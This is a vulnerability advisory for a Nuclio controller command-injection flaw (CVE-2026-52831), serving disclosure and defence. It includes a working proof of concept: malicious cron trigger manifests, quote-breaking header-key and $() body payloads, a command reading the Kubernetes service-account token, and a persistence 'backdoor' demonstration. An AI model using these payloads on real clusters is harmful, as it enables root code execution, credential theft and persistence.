CVE-2026-52831

Nuclio controller builds a curl invocation string for each cron trigger and stores it as the args of a Kubernetes CronJob container (/bin/sh, -c, <command>). Two fields in the trigger specification flow into this string without adequate sanitization:

• event.headers keys, interpolated verbatim inside double-quoted --header arguments (lazy.go:2150); any key containing " breaks the quoting context.
• event.body, processed with strconv.Quote, which escapes " and \ but not $(), allowing command substitution (lazy.go:2188).

Both paths were dynamically verified on Nuclio 1.15.27 (latest as of 2026-05-17).

• CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, 9.9 (Critical)
• CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
• Affected versions: Nuclio <= 1.15.27 (latest, dynamically verified)

Details

Root Cause

When a NuclioFunction with a cron trigger is reconciled by the controller, it calls generateCronTriggerCronJobSpec in pkg/platform/kube/functionres/lazy.go:2113. This function builds a shell command string by concatenating user-supplied values and passes it directly to /bin/sh -c.

Path-A, Header key injection (lazy.go:2146-2151)

// lazy.go:2146-2151
headersAsCurlArg := ""
for headerKey := range attributes.Event.Headers {
    headerValue := attributes.Event.GetHeaderString(headerKey)
    headersAsCurlArg = fmt.Sprintf("%s --header \"%s: %s\"",
        headersAsCurlArg, headerKey, headerValue)
    //                              ↑
    //                   headerKey is user-controlled; no escaping applied
}

headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.

Attack string for headerKey:

X-Inject"; ARBITRARY_COMMAND; echo "

Resulting shell command fragment:

--header "X-Inject"; ARBITRARY_COMMAND; echo ": value"

Path-B, Body command substitution (lazy.go:2173-2192)

// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
    strconv.Quote(eventBody),   // escapes " → \" and \ → \\, but NOT $()
    eventBodyFilePath,
    curlCommand,
    eventBodyCurlArg)

strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.

Attack string for event.body:

$(ARBITRARY_COMMAND)

Resulting shell command:

echo "$(ARBITRARY_COMMAND)" > /tmp/eventbody.out && curl ...

Execution sink (lazy.go:2212)

// lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}

The entire concatenated string, including any injected content, is executed by the shell.

Persistence mechanism

The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:

// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.

PoC

Environment Setup

The following steps reproduce the vulnerability in an isolated local environment.

Step 1, Install prerequisites

# kind (Kubernetes-in-Docker)
curl -Lo /usr/local/bin/kind \
    https://kind.sigs.k8s.io/dl/v0.22.0/kind-linux-amd64
chmod +x /usr/local/bin/kind

# Helm
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash

Step 2, Create isolated kind cluster

kind create cluster --name vul-010
kubectl cluster-info --context kind-vul-010

Expected output:

Kubernetes control plane is running at https://127.0.0.1:xxxxx

Step 3, Deploy Nuclio (latest 1.15.27)

helm repo add nuclio https://nuclio.github.io/nuclio/charts
helm repo update

kubectl create namespace nuclio

helm install nuclio nuclio/nuclio \
    --namespace nuclio \
    --kube-context kind-vul-010 \
    --version 0.21.27 \
    --set dashboard.enabled=true \
    --set controller.enabled=true

Wait for the controller to become ready:

kubectl wait --for=condition=Available deployment/nuclio-controller \
    -n nuclio --context kind-vul-010 --timeout=120s

Step 4, Create a NuclioProject

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioProject
metadata:
  name: default
  namespace: nuclio
spec:
  description: "default project"
EOF

Step 5, Prepare a placeholder image for the function deployment

The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:

# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010

# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010

Exploitation, Path-A: Header Key Injection

Step 6, Create a NuclioFunction with malicious header key

The injection payload in the header key is:

X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-rce-visible
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-inject:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          headers:
            X-Normal: safe-value
            'X-Inject"; echo "===RCE_CONFIRMED==="; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo "': marker
  minReplicas: 1
  maxReplicas: 1
EOF

Step 7, Trigger the controller to create the CronJob

kubectl patch nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Wait ~10 seconds for the controller to reconcile, then list CronJobs:

kubectl get cronjob -n nuclio --context kind-vul-010

Expected output:

NAME                                   SCHEDULE      SUSPEND   ACTIVE   LAST SCHEDULE   AGE
nuclio-cron-job-d84tg6lmuaqc73arn15g   */1 * * * *   False     0        <none>          12s

Step 8, Inspect the generated CronJob command (static confirmation)

CJ_NAME=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
    | python3 -m json.tool

Actual output from verification:

[
    "/bin/sh",
    "-c",
    "curl --silent  --header \"X-Inject\"; echo \"===RCE_CONFIRMED===\"; id; cat /var/run/secrets/kubernetes.io/serviceaccount/token | head -c 50; echo \": marker\" --header \"X-Normal: safe-value\" --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-rce-visible\" nuclio-vul010-rce-visible.nuclio.svc.cluster.local:8080 --retry 10 --retry-delay 1 --retry-max-time 10 --retry-connrefused"
]

The injected commands are clearly embedded between the shell-separated statements.

Step 9, Manually trigger a CronJob run (dynamic confirmation)

kubectl create job --from=cronjob/"$CJ_NAME" \
    vul010-rce-proof -n nuclio --context kind-vul-010

# Wait for the pod to complete
kubectl wait pod -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof \
    --for=condition=Ready --timeout=30s 2>/dev/null || true

POD=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-rce-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD" -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
===RCE_CONFIRMED===
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
eyJhbGciOiJSUzI1NiIsImtpZCI6InNtaUE1WS0yVXl2ZUhsTG: marker --header X-Normal: safe-value ...

• Line 1: curl exits immediately at "X-Inject" (no curl binary in alpine)
• Line 2: echo "===RCE_CONFIRMED===" executes, injection confirmed
• Line 3: id executes, container runs as uid=0 (root)
• Line 4: cat .../token | head -c 50 exfiltrates the first 50 bytes of the K8s SA token

Exploitation, Path-B: Body Command Substitution

Step 10, Create a NuclioFunction with malicious event body

kubectl apply --context kind-vul-010 -f - <<'EOF'
apiVersion: nuclio.io/v1beta1
kind: NuclioFunction
metadata:
  name: vul010-body-inject
  namespace: nuclio
  labels:
    nuclio.io/project-name: default
spec:
  image: placeholder-function:latest
  runtime: python:3.9
  handler: main:handler
  build:
    functionSourceCode: "ZGVmIGhhbmRsZXIoY29udGV4dCwgZXZlbnQpOgogICAgcmV0dXJuICdoZWxsbyc="
  triggers:
    cron-body:
      kind: cron
      attributes:
        schedule: "*/1 * * * *"
        event:
          body: "$(id 1>&2; echo BODY_INJECTION_PROOF)"
  minReplicas: 1
  maxReplicas: 1
EOF

kubectl patch nucliofunction vul010-body-inject -n nuclio \
    --context kind-vul-010 \
    --type=merge \
    -p '{"status":{"state":"waitingForResourceConfiguration"}}'

Step 11, Verify CronJob command (static)

sleep 15
CJ_NAME_B=$(kubectl get cronjob -n nuclio --context kind-vul-010 \
    -l "nuclio.io/function-name=vul010-body-inject" \
    -o jsonpath='{.items[0].metadata.name}')

kubectl get cronjob "$CJ_NAME_B" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.spec.jobTemplate.spec.template.spec.containers[0].args}' \
    | python3 -m json.tool

Actual output from verification:

[
    "/bin/sh",
    "-c",
    "echo \"$(id 1>&2; echo BODY_INJECTION_PROOF)\" > /tmp/eventbody.out && curl --silent  --header \"X-Nuclio-Invoke-Trigger: cron\" --header \"X-Nuclio-Target: vul010-body-inject\" nuclio-vul010-body-inject.nuclio.svc.cluster.local:8080 ..."
]

$() is present unescaped inside a double-quoted string passed to /bin/sh -c.

Step 12, Dynamic execution

kubectl create job --from=cronjob/"$CJ_NAME_B" \
    vul010-body-proof -n nuclio --context kind-vul-010

POD_B=$(kubectl get pods -n nuclio --context kind-vul-010 \
    -l job-name=vul010-body-proof -o jsonpath='{.items[0].metadata.name}')

kubectl logs "$POD_B" -n nuclio --context kind-vul-010

Actual pod log output from verification:

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/bin/sh: curl: not found

id ran as root via $() expansion before curl was even attempted.

Persistence Verification

Step 13, Confirm CronJob has no ownerReferences

kubectl get cronjob "$CJ_NAME" -n nuclio --context kind-vul-010 \
    -o jsonpath='{.metadata.ownerReferences}'

Expected: empty (no output)

Step 14, Simulate controller crash during function deletion

# Stop the controller
kubectl scale deployment nuclio-controller -n nuclio \
    --context kind-vul-010 --replicas=0

# Delete the function
kubectl delete nucliofunction vul010-rce-visible -n nuclio \
    --context kind-vul-010

sleep 5

# Function is gone, CronJob remains
kubectl get nucliofunction -n nuclio --context kind-vul-010
kubectl get cronjob -n nuclio --context kind-vul-010

Actual output from verification:

# NuclioFunctions:
NAME                  AGE
vul010-body-inject2   2m30s
(vul010-rce-visible deleted, not listed)

# CronJobs:
NAME                                   SCHEDULE      SUSPEND   ACTIVE
nuclio-cron-job-d84tj8lmuaqc73arn170   */1 * * * *   False     0
(CronJob belonging to the deleted function, still running)

Step 15, Execute the persistent backdoor

kubectl create job --from=cronjob/nuclio-cron-job-d84tj8lmuaqc73arn170 \
    vul010-persist-backdoor -n nuclio --context kind-vul-010

kubectl logs vul010-persist-backdoor-* -n nuclio --context kind-vul-010

Actual pod log output from verification:

/bin/sh: curl: not found
PERSISTENT_BACKDOOR_ACTIVE
: attacker-value --header X-Nuclio-Invoke-Trigger: cron --header X-Nuclio-Target: vul010-persist-test ...

The injected command executes after the source function has been deleted.

Cleanup

kubectl delete nucliofunction --all -n nuclio --context kind-vul-010 2>/dev/null
kubectl delete cronjob --all -n nuclio --context kind-vul-010 2>/dev/null
kind delete cluster --name vul-010

Severity

Critical, CVSS 3.1 Score: 9.9

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Affected Versions

All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.

• Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
• Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.4

Workarounds

1. Network-level restriction: Place the Nuclio Dashboard behind an authenticated
   reverse proxy or restrict port 8070 to trusted networks only. This limits who can
   submit function specifications.

2. Disable cron triggers: If cron trigger functionality is not required, avoid creating
   functions with kind: cron triggers.

3. RBAC restriction: Remove the batch API group permission from the Nuclio controller
   ServiceAccount to prevent CronJob creation. Note: this disables cron trigger
   functionality entirely.

None of the above eliminate the root cause; they only reduce exposure.

Resources

• Vulnerable file: pkg/platform/kube/functionres/lazy.go
  • Path-A: line 2150, header key interpolation
  • Path-B: lines 2188-2189, body interpolation with strconv.Quote
  • Execution sink: line 2212, Args: []string{"/bin/sh", "-c", curlCommand}
• Go strconv.Quote documentation: does not escape $, (, ), or backticks
• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• CVSS 3.1 Calculator: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H